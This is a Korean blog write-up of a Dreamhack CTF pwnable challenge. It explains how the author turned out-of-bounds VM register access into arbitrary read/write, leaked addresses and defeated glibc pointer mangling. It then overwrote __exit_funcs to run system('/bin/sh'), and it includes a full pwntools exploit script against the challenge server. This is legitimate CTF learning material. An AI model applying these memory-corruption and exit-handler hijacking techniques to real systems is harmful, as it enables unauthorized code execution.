내 클래스는 현재 1 1 1 1이고, 원래는 클래스 깨는게 본업이지만 포너블은 왠지 모르게 자신 있어서 틈틈이 어려운 문제들을 한두 개씩 찔러보고 있다.
그 시작은 며칠 전 도전해본 G1 문제인 tiny backdoor 인데, 화햇 팀플 최종발표날에 스벅에서 플래그 따고 서울에서 대전 내려오는 동안 머리가 지끈거리고 핑핑 돌면서 좋았던 그 기분이 잊혀지지가 않는다.
이 문제 역시 끔찍하게 어려웠지만 끔찍하게 재밌었다
분석
일단 파악해야 될 것 같은 것들 세 가지
- vm_step 함수의 인스트럭션 종류
0x90: No operation0xFF: 종료 바이트를 1로 변경하고 종료*(_BYTE *)(vm + 2072) = 1;
0x01 [index] [x]: 지정한 레지스터에 x값을 XOR*(_BYTE *)(vm + v12 + 2056) ^= *v6;
0x11 [index]: Reg 0~7가 가리키는 주소에 지정한 레지스터 값 1바이트를 저장*(_BYTE *)(vm + *(_QWORD *)(vm + 2056) + 8) = *(_BYTE *)(vm + v10 + 2056);- Reg 0~7의 값을 변경해 저장 위치를 움직일 수 있음
0x10 [index]: Reg 0~7가 가리키는 주소의 1바이트를 지정한 레지스터에 로드*(_BYTE *)(vm + v11 + 2056) = *(_BYTE *)(vm + *(_QWORD *)(vm + 2056) + 8);
0x20 [index]: 지정한 레지스터 값 1바이트 출력*(unsigned __int8 *)(vm + v9 + 2056)
- vm에 대한 구체적인 그림

- 명령 실행 과정에서 어떤 취약점이 있는지
- 뭔가 Arbitrary Read/Write 둘 다 냄새가 난다.
- OOB Write
- 쓸 오프셋:
0x01로 Reg 0~7 조작 - 쓸 값:
0x01로 Reg 8~15 조작 - 트리거:
0x11로 오프셋에 값 쓸 수 있음
- 쓸 오프셋:
- OOB Read
- 읽을 오프셋:
0x01로 Reg 0~7 조작 - 트리거:
0x10으로 레지스터에 값 저장하고0x20로 출력
- 읽을 오프셋:
- 이 두 개를 이용해 AR/AW로 확장시키기
결국 AR/AW를 둘 다 줄테니 방어기법들 모두 우회하고 익스하라는 문제.. 꽤 먼 여정이 될 듯 하다..
OOB Read/Write Primitive
편하게 명령어를 구성하기 위한 헬퍼 함수들을 작성해 두자
주의할 점은 main 함수에서 while루프를 돌 때마다 vm의 상태를 초기화한다는 것이다. 이 경우 아래와 같이 read_reg와 write_reg를 구현하는 것은 불가능하다.
# 실패한 구현
def read_reg(index: int) -> bytes:
p.sendafter(b"Your Program: ", b"\x20" + index.to_bytes(1) + b"\x91")
p.recvuntil(f"Reg {index}: 0x".encode())
return bytes.fromhex(p.recvline().rstrip())
def write_reg(index: int, value: bytes):
current = read_reg(index)
input = bytes([current[0] ^ value[0]])
p.sendafter(b"Your Program: ", b"\x01" + index.to_bytes(1) + input + b"\x91")
print(write_reg(2, b"\x02")) # Reg 2에 0x02를 씀
print(read_reg(2)) # Reg 2의 값은 0x02가 아니라 0x00를 반환함
분명 Reg 2에 0x02를 썼는데 쓰고 나서 읽어보면 0x00가 반환된다. write_reg 호출 이후 vm이 초기화됐기 때문이다.
따라서 값을 넣고 옮기는 vm 인스트럭션의 구조를 잘 이용해서 필요한 작업을 사이클 단위로 한 번에 끝내야 한다.
이 과정에서 얻은 건 두 가지:
- 명령어 끝에
b"\x91"를 붙여주면vm_run의 루프를 탈출하고 vm의 상태를 초기화하고 새로운 명령어를 받게할 수 있다. sendafter로b"Your Program: "을 기다려줘야 입력 싱크가 맞는다. 만약 기다리지 않고 때려넣으면 나눠서 처리해야 하는 명령어를 C의 read가 한번에 읽어버려 한번에 실행된다.
OOB Read/Write Primitive는 아래와 같다.
def print_reg(index: int) -> bytes:
return b"\x20" + index.to_bytes(1)
def xor_reg(index: int, value: bytes) -> bytes:
return b"\x01" + index.to_bytes(1) + value
def load_reg(index: int) -> bytes:
return b"\x10" + index.to_bytes(1)
def store_reg(index: int) -> bytes:
return b"\x11" + index.to_bytes(1)
def get64(offset: int) -> bytes:
payload = b""
old_offset = 0
for i in range(8):
new_offset = offset - 8 + i
xor_bytes = (old_offset ^ new_offset).to_bytes(8, "little", signed=True)
payload += b"".join(xor_reg(i, xor_bytes[i : i + 1]) for i in range(8))
payload += load_reg(i + 8)
payload += print_reg(i + 8)
old_offset = new_offset
payload += b"\x91"
p.sendafter(b"Your Program: ", payload)
b = bytearray()
for i in range(8):
p.recvuntil(f"Reg {i + 8}: 0x".encode())
received = bytes.fromhex(p.recvline().rstrip())[0]
b.append(received)
return bytes(b[::-1])
def set64(offset: int, value: bytes) -> None:
value_bytes = value.rjust(8, b"\x00")[::-1]
payload = b""
old_offset = 0
for i in range(8):
new_offset = offset - 8 + i
xor_bytes = (old_offset ^ new_offset).to_bytes(8, "little", signed=True)
payload += b"".join(xor_reg(i, xor_bytes[i : i + 1]) for i in range(8))
payload += xor_reg(i + 8, value_bytes[i : i + 1])
payload += store_reg(i + 8)
old_offset = new_offset
payload += b"\x91"
p.sendafter(b"Your Program: ", payload)
PIE 우회
PIE 우회는 그냥 vm 주소에 박혀있는 code 주소를 읽어오면 된다.

ASLR은 하위 12비트는 바꾸지 않기 때문에 code 주소는 항상 0x060으로 끝난다. 따라서 바이트 읽는 과정에서 올림되는 건 딱히 신경쓰지 않아도 된다.
code_addr = int.from_bytes(get64(0)) - 0x1A
main_base = code_addr - 0x4060
vm 힙 주소 leak
AR/AW를 따려면 vm_ptr쪽에 저장된 vm의 힙 주소를 얻어야 한다.

위 코드에서 잘못된 명령어가 들어오면 명령어 값을 출력하는 것을 이용해 leak을 시도해볼 수 있을 것 같다.
pwndbg> x/10gx $vm
0x5de7bc81b2a0: 0x00005de796d6007a 0x0000000000000000
0x5de7bc81b2b0: 0x0000000000000000 0x0000000000000000
0x5de7bc81b2c0: 0x0000000000000000 0x0000000000000000
0x5de7bc81b2d0: 0x0000000000000000 0x0000000000000000
0x5de7bc81b2e0: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx $vm_ptr
0x5de796d60860 <vm>: 0x00005de7bc81b2a0 0x0000000000000000
0x5de796d60870: 0x0000000000000000 0x0000000000000000
0x5de796d60880: 0x0000000000000000 0x0000000000000000
0x5de796d60890: 0x0000000000000000 0x0000000000000000
0x5de796d608a0: 0x0000000000000000 0x0000000000000000
$vm 내에 있는 값들은 모두 OOB로 조작 가능하므로 $vm 의 첫 번째에 위치한 code의 주소를 $vm_ptr 의 주소로 조작한다면 $vm_ptr 에 담긴 $vm의 힙 할당 주소를 1바이트씩 leak 할 수 있다.
조작 방법은 일단 NOP인 0x90를 여러번 해서 명령어 하위 12비트가 0x8xx가 되도록 만든다. 이후 최하위 1바이트를 60으로 만들면 0x860이 되면서 $vm_ptr 과 같아진다.
vm_addr = b""
for i in range(8):
value = (96 + i).to_bytes(1)
payload = b""
payload += b"\x90" * 0x7A0
payload += b"".join(
xor_reg(i, b"\xf8\xff\xff\xff\xff\xff\xff\xff"[i : i + 1]) for i in range(8)
)
payload += xor_reg(8, value)
payload += store_reg(8)
p.sendafter(b"Your Program: ", payload)
p.recvuntil(b"Unknown opcode 0x")
vm_addr += bytes.fromhex(p.recv(2))
vm_addr = u64(vm_addr)
실패 가능성
이때 만약 힙 주소의 각 바이트가 명령어(0x90, 0xFF, 0x01, 0x11, 0x10, 0x20)면 leak이 실패할 수도 있다. 유저랜드이므로 최상위 2바이트는 00으로 고정이고, 힙 메모리 주소는 16바이트 정렬이므로 최하위 1바이트는 0xFF, 0x01, 0x11이 될 수 없다.
이를 이용해 실패 확률을 계산해보면 다음과 같다.
$$
\frac{7}{255}\times5+\frac{3}{255}\approx0.15
$$
15퍼센트 확률로 leak에 실패한다. 실패 확률이 꽤 커서 확실한 방법을 원했지만 현재로서는 다른 방법이 떠오르지 않는다.
Arbitrary Read/Write Primitive
위에서 쌓아놓은 기반으로 AR/AW 프리미티브는 간단하게 구현 가능하다.
def read64(address: int) -> int:
return get64(address - vm_addr)
def write64(address: int, value: bytes) -> None:
set64(address - vm_addr, value)
Exploitation
Arbitrary Read/Write까지는 생각보다 수월했지만 찐빼이는 이제부터다.
minmoong@win11:~/wargame/P4/933159c5-46cd-49be-8e36-3778d3ea3986$ checksec main
[*] '/home/minmoong/wargame/P4/933159c5-46cd-49be-8e36-3778d3ea3986/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
- PIE 우회는 이미 했음
- Full RELRO라서 GOT Overwrite은 불가능
- 다른 건 다 있으면서 뜬금없이 스택 카나리는 왜 없는지 의문
- 섀도스택이라 ROP는 못 할듯
- IBT라서 EIP 이동한 곳에 무조건 endbr64가 있어야함
찾아보면 __exit_funcs를 덮는 방법이 위 모든 보호기법에 걸리지 않는다는 것을 알 수 있었다.
libc leak
GOT에 있는 puts의 주소를 읽어와서 libc leak
puts_offset = libc.symbols["puts"]
libc_base = read64(main_base + 0x3FA8) - puts_offset
ld leak
rtld_global = read64(libc_base + 0x202F88)
ld_base = rtld_global - 0x38000
libc의 GOT에 있는 _rtld_global 포인터로 가서 ld leak
Overwrite __exit_funcs

https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/exit.h#L55

https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/exit.c#L98
위의 glibc 2.39 exit.h과 exit.c 소스를 참고하고 디버거로 레이아웃을 실제로 보면서 어디를 어떻게 덮어야할지 구상한다.
그런데 문제는 함수 포인터를 맹글링해서 저장한다는 것이다. fs:0x30에 위치한 pointer guard로 XOR한 다음 ROL한다.
이걸 우회하려면 아래 절차에 따라 pointer guard를 역산해야 한다.
$$
ROL(original\;\oplus\;guard) = mangled
$$
$$
original\;\oplus\;guard = ROR(mangled)
$$
$$
guard = ROR(mangled)\;\oplus\;original
$$
즉 박혀있는 mangled의 원래 주소를 알고있다면 가드를 역산하는게 가능하다.
확인 결과 ld base로부터 0x5380만큼 떨어져있는 함수였고 ld leak을 했기 때문에 주소를 구할 수 있고 가드 역산까지 가능하다.
이후 system의 주소를 맹글링해서 덮어쓰고 arg는 맹글링하지 않고 그대로 /bin/sh의 주소를 주면 된다.
def ptr_mangle(ptr, guard):
mangled = ptr ^ guard
return (mangled << 0x11 & (2**64 - 1)) | (mangled >> (0x40 - 0x11))
def ptr_demangle(ptr, guard):
ptr = (ptr << 0x2F & (2**64 - 1)) | (ptr >> 0x11)
return ptr ^ guard
initial = libc_base + libc.symbols["initial"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.symbols["system"]
original_func_ptr = ld_base + 0x5380
pointer_guard = ptr_demangle(read64(initial + 0x18), original_func_ptr)
write64(initial + 0x18, ptr_mangle(system, pointer_guard).to_bytes(8))
write64(initial + 0x20, binsh.to_bytes(8))
Triggering __run_exit_handlers
VM을 엑싯하면 이제 덮어쓴 system("/bin/sh")가 호출된다.
p.sendafter(b"Your Program: ", b"\xff")
Final payload
from pwn import *
def print_reg(index: int) -> bytes:
return b"\x20" + index.to_bytes(1)
def xor_reg(index: int, value: bytes) -> bytes:
return b"\x01" + index.to_bytes(1) + value
def load_reg(index: int) -> bytes:
return b"\x10" + index.to_bytes(1)
def store_reg(index: int) -> bytes:
return b"\x11" + index.to_bytes(1)
def get64(offset: int) -> int:
payload = b""
old_offset = 0
for i in range(8):
new_offset = offset - 8 + i
xor_bytes = (old_offset ^ new_offset).to_bytes(8, "little", signed=True)
payload += b"".join(xor_reg(i, xor_bytes[i : i + 1]) for i in range(8))
payload += load_reg(i + 8)
payload += print_reg(i + 8)
old_offset = new_offset
payload += b"\x91"
p.sendafter(b"Your Program: ", payload)
b = bytearray()
for i in range(8):
p.recvuntil(f"Reg {i + 8}: 0x".encode())
received = bytes.fromhex(p.recvline().rstrip())[0]
b.append(received)
return u64(b)
def set64(offset: int, value: bytes) -> None:
value_bytes = value.rjust(8, b"\x00")[::-1]
payload = b""
old_offset = 0
for i in range(8):
new_offset = offset - 8 + i
xor_bytes = (old_offset ^ new_offset).to_bytes(8, "little", signed=True)
payload += b"".join(xor_reg(i, xor_bytes[i : i + 1]) for i in range(8))
payload += xor_reg(i + 8, value_bytes[i : i + 1])
payload += store_reg(i + 8)
old_offset = new_offset
payload += b"\x91"
p.sendafter(b"Your Program: ", payload)
def read64(address: int) -> int:
return get64(address - vm_addr)
def write64(address: int, value: bytes) -> None:
set64(address - vm_addr, value)
def ptr_mangle(ptr, guard):
mangled = ptr ^ guard
return (mangled << 0x11 & (2**64 - 1)) | (mangled >> (0x40 - 0x11))
def ptr_demangle(ptr, guard):
ptr = (ptr << 0x2F & (2**64 - 1)) | (ptr >> 0x11)
return ptr ^ guard
context.arch = "amd64"
context.log_level = "debug"
libc = ELF("./libc.so.6")
# breakrva XOR, LOAD, PRINT, STORE
# p = gdb.debug(
# "./main",
# """
# b *vm_step
# breakrva 0x14C5
# breakrva 0x13C4
# breakrva 0x153A
# breakrva 0x1442
# c
# """,
# )
# p = process("./main_patched")
p = remote("host3.dreamhack.games", 12236)
# PIE bypass
code_addr = get64(0) - 0x1A
main_base = code_addr - 0x4060
# vm heap address leak
vm_addr = b""
for i in range(8):
value = (96 + i).to_bytes(1)
payload = b""
payload += b"\x90" * 0x7A0
payload += b"".join(
xor_reg(i, b"\xf8\xff\xff\xff\xff\xff\xff\xff"[i : i + 1]) for i in range(8)
)
payload += xor_reg(8, value)
payload += store_reg(8)
p.sendafter(b"Your Program: ", payload)
p.recvuntil(b"Unknown opcode 0x")
vm_addr += bytes.fromhex(p.recv(2))
vm_addr = u64(vm_addr)
# libc leak
puts_offset = libc.symbols["puts"]
libc_base = read64(main_base + 0x3FA8) - puts_offset
print("Libc base: " + hex(libc_base))
# ld leak
rtld_global = read64(libc_base + 0x202F88)
ld_base = rtld_global - 0x38000
# *__exit_funcs structure manipulation
initial = libc_base + libc.symbols["initial"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.symbols["system"]
original_func_ptr = ld_base + 0x5380
pointer_guard = ptr_demangle(read64(initial + 0x18), original_func_ptr)
write64(initial + 0x18, ptr_mangle(system, pointer_guard).to_bytes(8))
write64(initial + 0x20, binsh.to_bytes(8))
p.sendafter(b"Your Program: ", b"\xff")
p.interactive()
FLAG!

감격의순간
플래그: DH{3V3RY7H1NG_L34K5:nAIZkLPiiACp7hJu4Q+PhA==}
'Cyber Security > Pwnable' 카테고리의 다른 글
| CVE-2021-39863 - Adobe Acrobat Reader DC 취약점 내용 정리 (0) | 2026.04.24 |
|---|
